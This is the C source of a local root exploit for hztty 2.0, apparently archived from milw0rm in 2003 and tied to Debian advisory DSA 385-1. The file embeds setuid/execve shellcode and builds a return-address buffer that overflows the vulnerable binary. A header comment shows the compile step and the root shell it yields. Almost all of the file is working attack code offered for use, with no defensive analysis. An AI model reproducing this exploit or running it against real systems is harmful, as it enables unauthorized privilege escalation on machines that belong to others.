File size: 1,494 Bytes
497f2f3 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 | /* 0x333hztty => hztty 2.0 local root exploit
*
*
* more info : Debian Security Advisory DSA 385-1
*
* *note* I adjusted some part of hztty's code since
* there were some errors. hope this will not influence
* exploitation :> tested against Red Hat 9.0 :
*
* [c0wboy@0x333 c0wboy]$ gcc 0x333hztty.c -o k
* [c0wboy@0x333 c0wboy]$ ./k
*
* --- local root exploit for hztty 2.0 ---
* --- coded by c0wboy ~ 0x33 ---
*
* sh-2.05b# [./hztty started] [using /dev/ttyp6]
* sh-2.05b$ sh-2.05b# uid=0(root) gid=0(root) groups=500(c0wboy)
* sh-2.05b#
*
* coded by c0wboy
*
* (c) 0x333 Outsiders Security Labs
*
*/
#include <stdio.h>
#include <unistd.h>
#define BIN "./hztty"
#define SIZE 272
unsigned char shellcode[] =
"\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x31\xdb\x89\xd8"
"\xb0\x2e\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
"\xd2\xb0\x0b\xcd\x80" ;
int main()
{
int i;
char out[SIZE];
char *own[] = { shellcode, 0x0 };
int *hztty = (int *)(out);
int ret = 0xbffffffa - strlen(BIN) - strlen(shellcode);
for (i=0 ; i<SIZE-1 ; i+=4)
*hztty++ = ret;
hztty = 0x0;
fprintf (stdout, "\n --- local root exploit for hztty 2.0 ---\n");
fprintf (stdout, " --- coded by c0wboy ~ www.0x333.org ---\n\n");
execle (BIN, BIN, "-I", out, 0x0, own, 0x0);
}
// milw0rm.com [2003-09-21] |